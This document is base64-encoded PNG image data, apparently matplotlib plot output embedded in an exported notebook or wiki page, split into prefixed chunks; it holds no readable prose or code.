pngqkqTJk1S//791aNHj+rrL7nkErVv315JSUnasGGDbrnlFuXk5Gjx4sUHvZ/s7GxNnz69rqYNAGjEGkQB #o> pngZ2ZmauPGjXrnnXdqXH/11VdX/3/Pnj2VmJioQYMGKTc3V506dfrR/UyZMkVZWVnV/w4EAkpOTq69iQMA #o> pngGq16X8ATJkzQsmXL9Pbbb6tt27aHzKalffO3rVu2bDloAUdFRSkqKqpW5gkAwPfV2wL2PE8TJ07UkiVL #o> pngtHLlSqWkpPzsbdavXy9JSkxMrO3pAQBwSPW2gDMzM7VgwQItXbpUMTExKigokCT5fD5FR0crNzdXCxYs #o> png0LBhw9SyZUtt2LBBkydP1oABA9SrVy/HswcANHb1toBnz54t6ZvFNr5v7ty5uuKKKxQZGak33nhDM2bM #o> pngUHFxsZKTkzVq1CjdfvvtDmYLAEBNrAV9CN+uBd194c0KaxrcZ8N9Erabx/n463hTvmDnMeYx8jIeN+VL #o> pngvXJT/rTpvzXlJan1OtufeYX6f/pPyH5K1Vbb/sj9fR9TPrKz/U/VJh630pRPiLAvQDx11q9N+ZTzck35 #o> pngyxNXm/KStCrQzZRfucC2LySp32jbOumvr0415R/IWGDKS9L28rifD33Pu1//+PdTfk7eE11N+fAS28v+ #o> png5OkLTXlJmnPd+aZ83vlh5jF8Hwd/DFlZWqKP59zGWtAAADR2FDAAAA5QwAAAOEABAwDgAAUMAIADFDAA #o> pngAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgQL09G1JdWn7S04qNCe5nlR0V9vt/tXkPU37B #o> pngy+nmMa7p2c+Uf//xE035uIt2mPKSlN8s2ZQ/0Nf+cO2fEm3K79r1lSm/vyTSlJekJx74lSnf6t9fm8do #o> pngFV9qyhfs/vnzaX9f8e3rTHlJWrfbtr/fmPyAeYwzH7/JlG+53XZSgmVptpM3SNK/8jqa8rErmprHKPeF #o> pngmPIhxlPwPH7FCNsNJJUl2p6vTT+3n4yh5cbgH+cVFbbnRF3gCBgAAAcoYAAAHKCAAQBwgAIGAMABChgA #o> pngAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgLWgg3DBxxcqvFlUUNkvtrc03/9/M2aZ8m8+ #o> pnglWAeo+/EPFM+/1KfKX+gIsKUlySdaVvjuPIz25wkKa5rsSkf/mKcKZ+8tcSUl6Rbn/yLKf/H4aPMY4SW #o> pngVpryx7zwX1P+DykXmvKS1HaFbV9kTBlrHqPb2bmm/OWJq035nlH5prwkjd51pfEW9rWgE/+1z5Sf++Js #o> pngU77/0htMeUnqOn+/KZ8wyf69fey6pUFn9+2rUtfjzEPUKo6AAQBwgAIGAMABChgAAAcoYAAAHKCAAQBw #o> pnggAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHOBkDEFoFlGm8IiQoLJhe+3f0r/t62DK #o> pngb7mjl3mM58d0NOVnLppjyl8//CpTXpK8c44x5bv86T3zGOuG9DblJzy0yJR/duTZprwkXfPSOFO+a/ku #o> png8xg7zrYt6F/5i5NM+dByz5SXpMXP/9mUvyhtpHmM5otKTfl/7D3BlJ+y4lJTXpJeu+QBU35ll87mMZ6a #o> png8itT/soTMkz5uNH2Y7XIB7805X/ZeoN5jF9MvTHobGVZiaTfmceoTRwBAwDgAAUMAIADFDAAAA5QwAAA #o> pngOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADLEV5CJ73zXJ7FfvLgr5NVUmJeZwDRRWm/OGM #o> pngUVFhu03Rvirb/VfalgCUpMpS25wqvHLzGBXltjGs++Jwttu6/+rie1sVYlta8jB2hQLWx1SVfbvLi4N/ #o> pngrkpSWZgtfzjPPetz6cAB22NQsj/OKzzbdn+zjKONdV9Yn3uSbV7fZr99XT8ahHhH02yOMjt27FBycrLr #o> pngaQAAjpDt27erbdu2rqchiQI+pKqqKu3cuVMxMTEKCfnuZAyBQEDJycnavn27YmNjHc6wbrHdbHdjwHY3 #o> pngzO32PE/79u1TUlKSQkOPjk9feQv6EEJDQw/5k1JsbGyDfKD+HLa7cWG7G5eGvN0+n8/1FGo4On4MAACg #o> pngkaGAAQBwIGzatGnTXE+iPgoLC9PAgQMVHt643sVnu9nuxoDtblzb7Qq/hAUAgAO8BQ0AgAMUMAAADlDA #o> pngAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAA #o> pngDlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMU #o> pngMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAODA/wNh #o> pngQYzLH9b5CwAAAABJRU5ErkJggg== #o> png}}} #o> 1 (30, 30) #o> png{{{ #o> pngiVBORw0KGgoAAAANSUhEUgAAAeAAAAHgCAYAAAB91L6VAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAP #o> pngYQAAD2EBqD+naQAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDIuMi4yLCBodHRwOi8v #o> pngbWF0cGxvdGxpYi5vcmcvhp/UCwAAIABJREFUeJzt3Xl8lOW9/vFrskIgGQghmwQMu8pSRYgcFUFStoqi #o> png1L0V1GLVYIW44gZU21i0SvWgtlpBWkGhClSseJAK1BqwYPkhViNEkCAkCMoMScg6z+8PDznGIs7Xktwk #o> png+bxfr3lpkmvmez+ZyVyZJNyPz/M8TwAAoFFFuF4AAAAtEQUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIAD #o> pngFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUM #o> pngAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDg #o> pngAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEAB #o> pngAwDgAAX8HcyZM0cnnniiWrVqpaysLL3zzjuul9SgZsyYIZ/PV+/Su3dv18s65tauXauxY8cqPT1dPp9P #o> pngS5curfdxz/N03333KS0tTa1bt1Z2dra2bt3qaLXHzrcd98SJE//t/h81apSj1R4beXl5GjhwoOLj45Wc #o> pngnKxx48apoKCgXqaiokI5OTnq0KGD2rZtq/Hjx6ukpMTRio+NcI576NCh/3Z/X3/99Y5W3LxRwEYvvvii #o> pngcnNzNX36dL377rvq37+/Ro4cqb1797peWoM65ZRTtGfPnrrLW2+95XpJx1xZWZn69++vOXPmHPHjs2bN #o> png0mOPPaannnpK69evV5s2bTRy5EhVVFQ08kqPrW87bkkaNWpUvft/4cKFjbjCY2/NmjXKycnRunXrtHLl #o> pngSlVXV2vEiBEqKyury0ydOlWvvPKKFi9erDVr1mj37t266KKLHK76PxfOcUvSpEmT6t3fs2bNcrTiZs6D #o> pngyaBBg7ycnJy6t2tra7309HQvLy/P4aoa1vTp073+/fu7XkajkuQtWbKk7u1QKOSlpqZ6Dz30UN37Dhw4 #o> png4MXGxnoLFy50scQG8fXj9jzPmzBhgnfBBRc4WlHj2Lt3ryfJW7Nmjed5X9630dHR3uLFi+syH3zwgSfJ #o> pngy8/Pd7XMY+7rx+15nnfOOed4N998s8NVtRy8AjaoqqrSxo0blZ2dXfe+iIgIZWdnKz8/3+HKGt7WrVuV #o> pngnp6url276sorr9TOnTtdL6lRbd++XcXFxfXue7/fr6ysrGZ/30vS6tWrlZycrF69eumGG27Q/v37XS/p #o> pngmAoEApKkxMRESdLGjRtVXV1d7/7u3bu3Onfu3Kzu768f92HPP/+8kpKS1KdPH02bNk3l5eUultfsRble #o> pngQFOyb98+1dbWKiUlpd77U1JS9OGHHzpaVcPLysrSvHnz1KtXL+3Zs0czZ87U2WefrS1btig+Pt718hpF #o> pngcXGxJB3xvj/8seZq1KhRuuiii5SZmanCwkLdddddGj16tPLz8xUZGel6ef+xUCikKVOm6Mwzz1SfPn0k #o> pngfXl/x8TEqF27dvWyzen+PtJxS9IVV1yhLl26KD09XZs3b9Ydd9yhgoICvfzyyw5X2zxRwPhWo0ePrvv/ #o> pngfv36KSsrS126dNGiRYt07bXXOlwZGsNll11W9/99+/ZVv3791K1bN61evVrDhw93uLJjIycnR1u2bGmW #o> pngf9dwNN903Nddd13d//ft21dpaWkaPny4CgsL1a1bt8ZeZrPGj6ANkpKSFBkZ+W9/CVlSUqLU1FRHq2p8 #o> png7dq1U8+ePbVt2zbXS2k0h+/fln7fS1LXrl2VlJTULO7/yZMna/ny5XrzzTfVqVOnuvenpqaqqqpKBw4c #o> pngqJdvLvf3Nx33kWRlZUlSs7i/jzcUsEFMTIwGDBigVatW1b0vFApp1apVGjx4sMOVNa7S0lIVFhYqLS3N #o> png9VIaTWZmplJTU+vd98FgUOvXr29R970k7dq1S/v372/S97/neZo8ebKWLFmiv/71r8rMzKz38QEDBig6 #o> pngOrre/V1QUKCdO3c26fv72477SDZt2iRJTfr+Pl7xI2ij3NxcTZgwQaeffroGDRqk2bNnq6ysTFdffbXr #o> pngpTWYW2+9VWPHjlWXLl20e/duTZ8+XZGRkbr88stdL+2YKi0trfdd/vbt27Vp0yYlJiaqc+fOmjJlih54 #o> png4AH16NFDmZmZuvfee5Wenq5x48Y5XPV/7mjHnZiYqJkzZ2r8+PFKTU1VYWGhbr/9dnXv3l0jR450uOr/ #o> pngTE5OjhYsWKBly5YpPj6+7ve6fr9frVu3lt/v17XXXqvc3FwlJiYqISFBN910kwYPHqwzzjjD8eq/u287 #o> png7sLCQi1YsEBjxoxRhw4dtHnzZk2dOlVDhgxRv379HK++GXL9Z9hN0eOPP+517tzZi4mJ8QYNGuStW7fO #o> png9ZIa1KWXXuqlpaV5MTEx3gknnOBdeuml3rZt21wv65h78803PUn/dpkwYYLneV/+U6R7773XS0lJ8WJj #o> pngY73hw4d7BQUFbhd9DBztuMvLy70RI0Z4HTt29KKjo70uXbp4kyZN8oqLi10v+z9ypOOV5M2dO7cuc+jQ #o> pngIe/GG2/02rdv78XFxXkXXniht2fPHneLPga+7bh37tzpDRkyxEtMTPRiY2O97t27e7fddpsXCATcLryZ #o> png8nme5zVm4QMAAH4HDACAExQwAAAOUMAAADhAAQMA4AAFDACAAxQwAAAOUMAAADhAAX8HlZWVmjFjhior #o> pngK10vpVFx3Bx3S8Bxt6zjdomNOL6DYDAov9+vQCCghIQE18tpNBw3x90ScNwt67hd4hUwAAAOUMAAADjA #o> png2ZCOIhQKaffu3YqPj5fP56t7fzAYrPffloLj5rhbAo67eR6353k6ePCg0tPTFRFxfLz25HfAR7Fr1y5l #o> pngZGS4XgYA4BgpKipSp06dXC9DEq+Ajyo+Pl6SNDT1akVFxIR1nU9mtTfP8W20/cFDxnMfmWfsH9XDlPci #o> pngbbd/qKPv20Nfk/rOIVN+/8mtzTM6bLHNePB3z5jyE+beZMpL0t+ue9KUP/fRG8wz2hTXmvIlY6pM+c6p #o> pngn5vykhSoaGXKJ1250zwjsmOiKV94XWdTPmW97fMqSVHltuvsu972mJWk0n1tTPle9xeZ8p9e2tWUl6Ty #o> pngvrbj6LTI+KQjqfrGL8LO1pZX6t0fPVX3vH48aPYFPGfOHD300EMqLi5W//799fjjj2vQoEFhXffwj52j #o> pngImIUFREb1nUi48LL1ZsTa3tiCvebga+KjLHNsBZwZKy9gKOibD98sR7Dd5nRNt72o6lI430nSQmNMCMq #o> png2vakHxFnW1NUG/vjPDLMr6G6Gb7oBp8R0cr4tWf8vEpSVJTtOpFxIfOMiNYN+xzyXR6DEXG2r72oKHsB #o> pnge9/hcfjVXye6dnz8ILyBvPjii8rNzdX06dP17rvvqn///ho5cqT27t3remkAgBauWRfwI488okmTJunq #o> pngq6/WySefrKeeekpxcXF69tlnXS8NANDCNdsCrqqq0saNG5WdnV33voiICGVnZys/P/+I16msrFQwGKx3 #o> pngAQCgITTbAt63b59qa2uVkpJS7/0pKSkqLi4+4nXy8vLk9/vrLvwFNACgoTTbAv4upk2bpkAgUHcpKrL9 #o> pngpSAAAOFqtn8FnZSUpMjISJWUlNR7f0lJiVJTU494ndjYWMXG2v+qDgAAq2b7CjgmJkYDBgzQqlWr6t4X #o> pngCoW0atUqDR482OHKAABoxq+AJSk3N1cTJkzQ6aefrkGDBmn27NkqKyvT1Vdf7XppAIAWrlkX8KWXXqrP #o> pngPvtM9913n4qLi/W9731PK1as+Lc/zAIAoLGxF/RRHD4/5kUrJyi6TXg7x3wxqsY8p6Z/N1M+stK+G8/w #o> pnguW+b8vPnjTTlKxPtD6PYz2070vh32I97/6Xlpny7l21b+vm+w1dPyLjhz/6+9p17ur1Uasp7kbYZO86z #o> pngfZ4kKbL3QVM+8zZbXpJUYTuZfChg+6eGVWecZMpLku76zBQ/LdH+x5/5vwxvd7/D2vxpvSkf2dP2HCVJ #o> pngOy+yvdDp9Ib9n30W/jD8bSVDFRXaMf3u4+p8x832d8AAABzPKGAAAByggAEAcIACBgDAAQoYAAAHKGAA #o> pngAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAU7GcBSHT8bQ6TczFdG6VVjX8VXZv6fJXGI7 #o> pnggcOe/4o1zzhhmG2D95grq0z57/IwGrd6iylfWhveffBVP0zYbMp3jmpryo8ZcqEpL0kfXW/bpD7z1E/N #o> pngM3ol7DXlz2u/yZT/9cTLTXlJOmn2+6b86W23m2c8+IdLTPmMc3ea8qHpSaa8JHlRtueE4iz747yiY8iU #o> pngb/++7eQbV936F1Nekl47q6sp71XZnnMkyXdCatjZmtpKrdo2m5MxAADQ0lHAAAA4QAEDAOAABQwAgAMU #o> pngMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAAe0EfxeG9oO/OH6FWbaPDus5bF/c1zwnF #o> png2/Z+LT8hzjxj13jbftNRMbZ81+T9prwkVT2YZsofmHzQPCOwrb0p33PeAVPed8i+f23JI1GmfPtHbPtT #o> pngS9Kzzz1myl96x62mfPvrbHsoS9IXT3c25RM+LjfPKD7D9rlK/LDalF/89GxTXpJ++MGVpnybSbXmGRW/ #o> pngt+3tvPf1Tqb8CbM3mPKSFLj4NFN+1B1rzTP+sHJI2NlQRYU+ufse9oIGAKClo4ABAHCAAgYAwAEKGAAA #o> pngByhgAAAcoIABAHCAAgYAwAEKGAAAByhgAAAcoIABAHCAAgYAwAEKGAAAB2y7wrdQS58dqsiY8E6YcP6i #o> pngNebbLyhNMeXvTF1tnpH7/sW2Gb1XmPIz/mDbcF6STtxRYsqfnGQ/4cOe2bbN+f/w6u9N+dxdo015Saq8 #o> pngu4cp//CzT5hnTNlxoSmfuG6PKb8vuospL0mff8+WL0+xn4TiuZ89asrfNcr2uP1j8BRTXpLm9Fxoyi97 #o> pngxfiJkhQdYTt5yo9uWmDKX/3oUFNekuK3HzLl15+bap5x9qvvh52tKq3SJ+YJDYtXwAAAOEABAwDgAAUM #o> pngAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADPs/zPNeLOF4Fg0H5/X5N #o> pngyx+pVm2jw7rOefH/zzwnJbLalM9+6nbzjF9cPd+Un/noVaZ8qwMhU16S2v9jryk/7s/rzDNifLY9cu9f #o> pngcZEp336Lz5SXpGA3W74mzv4l6kusNOVPyig25Tu3+cKUl6Tt54b3NXTYnol9zTOCA2zHPax3gSmf5f/Y #o> pnglJekNhG2NS0uPt08472idFM+cVV4e9vXsT/M1e4j217QCxfOMc/44U+nhJ2tqa5Q/v9MVyAQUEJCgnlW #o> pngQ+AVMAAADjTrAp4xY4Z8Pl+9S+/evV0vCwCA5n86wlNOOUVvvPFG3dtRUc3+kAEATUCzb6OoqCilptrP #o> pngMwkAQENq1j+ClqStW7cqPT1dXbt21ZVXXqmdO3d+Y7ayslLBYLDeBQCAhtCsCzgrK0vz5s3TihUr9OST #o> pngT2r79u06++yzdfDgwSPm8/Ly5Pf76y4ZGRmNvGIAQEvRrAt49OjRuvjii9WvXz+NHDlSf/nLX3TgwAEt #o> pngWrToiPlp06YpEAjUXYqKihp5xQCAlqLZ/w74q9q1a6eePXtq27ZtR/x4bGysYmNjG3lVAICWqFm/Av66 #o> png0tJSFRYWKi0tzfVSAAAtXLMu4FtvvVVr1qzRjh079Pbbb+vCCy9UZGSkLr/8ctdLAwC0cM36R9C7du3S #o> png5Zdfrv3796tjx44666yztG7dOnXs2NH10gAALVyzLuAXXnjhmNzOsDYfqk3b8H5YkFNgf3UdKG9tyndZ #o> pngus88o/9PbXv9dvhXhSkfu/0zU16Stv/Y9lfmSy4fap5x60svmvI9bt1gyn/06ABTXpKuOPttU35tSXfz #o> pngDO+pZFN+V0amKf9hxommvCT1jPrQlP/zbbPMMz6utu3x2yva9k8N79o92pSXpD2Tu5jys/70jHnG7hP8 #o> pngpvxjt5xjyvuibft4S1JZX9v+1ANfnWqe0a3csNd7Ta359htas/4RNAAAxysKGAAAByhgAAAcoIABAHCA #o> pngAgYAwAEKGAAAByhgAAAcoIABAHCAAgYAwAEKGAAAByhgAAAcoIABAHDA53me53oRx6tgMCi/36/hJ92q #o> pngqMjYsK5z/uK3zHNevjbblI/6qMg8wxcTY8ov3fCqKT/6ykmmvCSVp9rWFHPQvpl6q93lpnzX3xWa8kP9 #o> pngH5jykvS7n4435R+Z+4R5xg8X2Da277YoYMpPe3mBKS9Jy744zZT/4Iqu5hmVnWwnJYjdtN2Uv27dO6a8 #o> pngJB2ojTPlF2cPNM+4bc1rpvysrGGm/HX56015SZq3+0xTvrgs3jzDPyP8E9nU1FRo9cY8BQIBJSTYTtrR #o> pngUHgFDACAAxQwAAAOUMAAADhAAQMA4AAFDACAAxQwAAAOUMAAADhAAQMA4AAFDACAAxQwAAAOUMAAADjA #o> pngXtBHcXgv6M5P36uIuFZhXSchP/y9SQ9L2nLIlI/422bzjH3LupnyHe+LNuVvXLTElJekbZWppvyyabY9 #o> pngsyUpbrVtr+YPH+1lyp88fbcpL0kf3N7ZlI/vYtunWZJqQ7bvrdMfjjLlCy+xP85T1tnye4bZ9/6+ZNA/ #o> pngTPnKkO241z16uikvSSXDq0359LQvzDM+ezfFlG/9mc+Ujzlgr4k2xTW2/OZPzTM6/Kk07Gx1WZUWDf8j #o> pnge0EDANDSUcAAADhAAQMA4AAFDACAAxQwAAAOUMAAADhAAQMA4AAFDACAAxQwAAAOUMAAADhAAQMA4AAF #o> pngDACAA7adyFsof34rRcaEdzKGSTcvM9/+P4KZpvxHs+wbwifF2TY6j9hZbsrPmvZjU16Spj34nClfnBVp #o> pngntGpvKcp3z2zxJT/4izbiRUkad7Yp0z5Nw+ebJ6x5JmhpvyjC35tyh8IxZrykvTogBGm/NMZr5hndIwM #o> pngmfLnPHObKZ/52oemvCQdzOhtyifMtn9u/TWfm/JfPGw7UUJG/AFTXpI+XGI7sUnSXVXmGe/9sU/Y2dqq #o> pngCvPtNzReAQMA4AAFDACAAxQwAAAOUMAAADhAAQMA4AAFDACAAxQwAAAOUMAAADhAAQMA4AAFDACAAxQw #o> pngAAAOsBd0GNrsrlVUdG1Y2TNaf2y+/V8vP9+U77lxl3nGjgN+U75L7UFTfsjd+aa8JH1cmWLKd/vDZ+YZ #o> pnge7KTTfnApx1N+fNu22jKS9L1c2805UN9bfeFJFX1Du/xelhu4cWm/CXpG0x5SSq/yGfKL3rDvuf5m8W2 #o> pngvb/bfOqZ8vvmdzDlJanLrbbHbdRT9vu74q5UU957Pry97Q8L/LHQlJekiJ/Z8uVjq80zHtjwbPi3f7BW #o> pngl/3OPKJB8QoYAAAHmmwBr127VmPHjlV6erp8Pp+WLl1a7+Oe5+m+++5TWlqaWrdurezsbG3dutXRagEA #o> pngqK/JFnBZWZn69++vOXPmHPHjs2bN0mOPPaannnpK69evV5s2bTRy5EhVVBx/p6QCALQ8TfZ3wKNHj9bo #o> png0aOP+DHP8zR79mzdc889uuCCCyRJ8+fPV0pKipYuXarLLrusMZcKAMC/abKvgI9m+/btKi4uVnZ2dt37 #o> png/H6/srKylJ//zX8sVFlZqWAwWO8CAEBDaJYFXFxcLElKSan/V7YpKSl1HzuSvLw8+f3+uktGRkaDrhMA #o> png0HI1ywL+rqZNm6ZAIFB3KSoqcr0kAEAz1SwLODX1y38TV1JSUu/9JSUldR87ktjYWCUkJNS7AADQEJpl #o> pngAWdmZio1NVWrVq2qe18wGNT69es1ePBghysDAOBLTfavoEtLS7Vt27a6t7dv365NmzYpMTFRnTt31pQp #o> pngU/TAAw+oR48eyszM1L333qv09HSNGzfO4aoBAPhSky3gDRs2aNiwYXVv5+bmSpImTJigefPm6fbbb1dZ #o> pngWZmuu+46HThwQGeddZZWrFihVq1sW7ABANAQfJ7n2TZDbUGCwaD8fr8GXPyAIqPDK+5Rd641z1k++xxT #o> png/lCKbU9dSerygm3/6Lv+uvTbQ1+9/ahyU16Shi6+1ZSPqLYfd02bkCnf7n3bb2Uqsu379v6o5z9M+af/ #o> pngbnt8SFL3F2z76rb/xU5T/pHOy0x5SXq9rLsp//0227499DXnvnibKd/uQ9vtT77tJdsVJJ0Yvc+Uv/p/ #o> pngfmKeEbMv0pT3n2ZbU/vz7PdF5WjbXt7VbW3HIElf9Aj/67W2skLbHrpLgUDguPn7nmb5O2AAAI53FDAA #o> pngAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgAAUMAIADFDAAAA5QwAAAOEABAwDgQJM9G1Jj #o> pngGnTTRsW2jQ4rm5No22hfkv58UR9T/pGTlphnPLLyElP+5l/mmPIdF2425SWpV9KntitUVpln7BvR1ZQf #o> pngc8saUz4zdq8pL0nfj9thyi9+b7h5hv+Bj035DRt7mPLP+0815SVp0ePZpvwJtz9rnnHa4I9M+eCLaab8 #o> pngw/N+aMpL0sM/+b0pv2TU4+YZ182cYspfM/5tU/6lM79vykvSZ/3De848rLxLjXlGyt/Cz9ZW2U7M0hh4 #o> pngBQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4QAEDAOAABQwAgAMUMAAADlDAAAA4wF7Q #o> pngYfi0op2iI2PCyp535y3m26/obPs+6OT+X5hnVHaMM+XLU3222x/c25SXpFZFAVP+L/mvmGd878EbTflq #o> pngL9KUnzf5AlNekvLOjDXla070zDMKX+hpyp+0vMiUX/S+bV/n7+LeX1xjvs6BXrZ89y3/NOVr77DtmS1J #o> pngj51ve4ykPbvbPCN54g5T/lfrRpvyk54wbLr8v+YtP9eU7/aCfS/oHWPDe16WpFCFpEXmEQ2KV8AAADhA #o> pngAQMA4AAFDACAAxQwAAAOUMAAADhAAQMA4AAFDACAAxQwAAAOUMAAADhAAQMA4AAFDACAAxQwAAAOcDKG #o> pngMLy3K10Rca3CyqYcsm+c3/6jWlP++cCp5hm6Za8p3qd1qSm/xTPugi+p7VTbCR9+kHWeeYb/e7YN3t8d #o> png0t6U//O/5pjyknT9zlGm/P0nLDfPuOLOW035wG+jTfmO04KmvCRdsfB1U/6Xiy42z+jx3D5TfuvPbV9L #o> pngfx74a1Nekq46w3aClmFtN5pnfHKn7eQbbU8P/yQGkvTqa0NNeUmK6GvLV3SwPQYlqbZ1KOxsSOFnGwuv #o> pnggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHfJ7n #o> png2TcvbiGCwaD8fr+yfvBzRUWHtxf0gscfMc+5LNe2V+ziR+z70Z75im1G5ku2PZRjd35uykvSla+uNeVn #o> pngPXGpeUbwlGpTfuDJH5vyW4rTTHlJSvEfNOV3bE82z4j63LbNu3UP5doPtprykrTjxX6mfOfH7a8PPhnT #o> png2pTP/HOZKV+dYNtDWZKufXyJKT99w/nmGc+c8Zwp/9A5o035/q8UmfKStPFU2/330dwB5hmJ68K/P2qr #o> pngKvTes3crEAgoISHBPKsh8AoYAAAHmmwBr127VmPHjlV6erp8Pp+WLl1a7+MTJ06Uz+erdxk1ynYWGgAA #o> pngGkqTLeCysjL1799fc+Z88+ngRo0apT179tRdFi5c2IgrBADgmzXZ8wGPHj1ao0cf/fcYsbGxSk1NbaQV #o> pngAQAQvib7Cjgcq1evVnJysnr16qUbbrhB+/fvP2q+srJSwWCw3gUAgIbQbAt41KhRmj9/vlatWqVf/epX #o> pngWrNmjUaPHq3a2tpvvE5eXp78fn/dJSMjoxFXDABoSZrsj6C/zWWXXVb3/3379lW/fv3UrVs3rV69WsOH #o> pngDz/idaZNm6bc3Ny6t4PBICUMAGgQzfYV8Nd17dpVSUlJ2rZt2zdmYmNjlZCQUO8CAEBDaDEFvGvXLu3f #o> pngv19pafaNEwAAONaa7I+gS0tL672a3b59uzZt2qTExEQlJiZq5syZGj9+vFJTU1VYWKjbb79d3bt318iR #o> pngIx2uGgCALzXZAt6wYYOGDRtW9/bh391OmDBBTz75pDZv3qznnntOBw4cUHp6ukaMGKH7779fsbGxrpYM #o> pngAEAd9oI+isN7QS/5f93VJj4yrOs8dNkV5jnXPP9nU35RyUDzjP2/yDTlP+8dbcq3H7PblJek6Mhv/ov0 #o> pngIymtsu/DO7nralP+1wXZpvwFXd4z5SXplg7vmvLjfnyjeUZ5su1zdf8vnzblpz7xU1NeklLG2PYT/vEJ #o> png+eYZs39zsSl/YHClKT/mpPdNeUn65/4TTPm2o7ebZ7yw8++mfKzP9tor+5afmfKSVHKGLR/3qf03ohum #o> png/ibsbPBgSKm9itgLGgCAlo4CBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIAC #o> pngBgDAAQoYAAAHKGAAABxosmdDakyPTL5CUVGtwsq2ffhT8+3//NkrTXlvYMA8o/L74Z1M4rCeeQWm/O7a #o> pngXqa8JPls52JQ4IwK84w/3jnClPc/XG7Kv/Lf55jyknTq7TtM+f1TbGuSpJWnPW7Kn/ncraZ89+cLTXlJ #o> pngKhhgOxf30B47zDOmf6/GlP/jWc+Y8lcts58Yo/fDO035g+fbT7Yy/toBpnyrTw+a8iU/McUlSe23+Ez5 #o> pngpE3257XTom8OO1tbWSHpLvOMhsQrYAAAHKCAAQBwgAIGAMABChgAAAcoYAAAHKCAAQBwgAIGAMABChgA #o> pngAAcoYAAAHKCAAQBwgAIGAMABn+d5nutFHK+CwaD8fr+GJ05UVERMWNeJejm83Fe1jao05T8/x7aPqyRN #o> png+fA9U37qPy8x5cf32GTKS1KwJrz9tQ/bV9nWPKNX2xJTfuXPzzblQ9G2/W4lKWTcgb3Dqh3mGYH/6mLK #o> png+9cVmfJbJ9tuX5J6/Na2T/ru8zqZZyy7fZYpf8ldtj2wvQj7/d1ufr4p//pu+9dSt1VXm/IxW1ub8m0y #o> pngFrLmAAAQzUlEQVQ+tddE8o8+MeWrZ6SYZ6xY8Puws8GDISX12qFAIKCEhATzrIbAK2AAAByggAEAcIAC #o> pngBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHjNvCt0wV/bso #o> pngKiq8Ewf4Ztpvf8sE20bnPU+tNs8Y1tq2Ifyjpy4y5fPLupvykrTtYEdTflGPl80zxv34RlP+0x/XmvKd #o> pnglkea8pLU7p/7Tfny+bHmGXv/YfveOuFfbUz5UJdDprwknb6s0JS/xP+iecaPb8w15VNv227K71zY1ZSX #o> pngJF+07QQtPeffYJ4R97ntJBHv3vy4Kf/PqpApL0mXvp5jyv9x7lPmGV+Ewn8cHgzZj6Gh8QoYAAAHKGAA #o> pngAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcIACBgDAAQoYAAAHKGAAAByggAEAcMDneZ5tI+IWJBgM #o> pngyu/363tX/EKRMeHtBR1fVGWeM+lJ2x7Hv/pwpHlG3+Tdpvzb22173sZtjDPlJaldYY0pH7/RdgyS9OmF #o> pngnU35uBLbfrEVibY9eCWpTbFtxq4f2PanlqShfQpM+R8m/cOU/8U9E015SSpLs32/P+xH75hnXNR+gyn/ #o> png0/m2vcKjSk3xLxkfIq332p+SD/S25RO22fKvTH/IdgVJV10x2ZT/eHx4z7FfFfKH/xwSOlShXTfOUCAQ #o> pngUEJCgnlWQ+AVMAAADjTZAs7Ly9PAgQMVHx+v5ORkjRs3TgUF9b/rr6ioUE5Ojjp06KC2bdtq/PjxKikp #o> pngcbRiAAD+T5Mt4DVr1ignJ0fr1q3TypUrVV1drREjRqisrKwuM3XqVL3yyitavHix1qxZo927d+uiiy5y #o> pnguGoAAL7UZM8HvGLFinpvz5s3T8nJydq4caOGDBmiQCCg3//+91qwYIHOPfdcSdLcuXN10kknad26dTrj #o> pngjDNcLBsAAElN+BXw1wUCAUlSYmKiJGnjxo2qrq5WdnZ2XaZ3797q3Lmz8vOPfHL6yspKBYPBehcAABpC #o> pngsyjgUCikKVOm6Mwzz1SfPn0kScXFxYqJiVG7du3qZVNSUlRcXHzE28nLy5Pf76+7ZGRkNPjaAQAtU7Mo #o> png4JycHG3ZskUvvPDCf3Q706ZNUyAQqLsUFRUdoxUCAFBfk/0d8GGTJ0/W8uXLtXbtWnXq1Knu/ampqaqq #o> pngqtKBAwfqvQouKSlRamrqEW8rNjZWsbGxDb5mAACa7Ctgz/M0efJkLVmyRH/961+VmZlZ7+MDBgxQdHS0 #o> pngVq1aVfe+goIC7dy5U4MHD27s5QIAUE+TfQWck5OjBQsWaNmyZYqPj6/7va7f71fr1q3l9/t17bXXKjc3 #o> pngV4mJiUpISNBNN92kwYMH8xfQAADnmmwBP/nkk5KkoUOH1nv/3LlzNXHiREnSo48+qoiICI0fP16VlZUa #o> 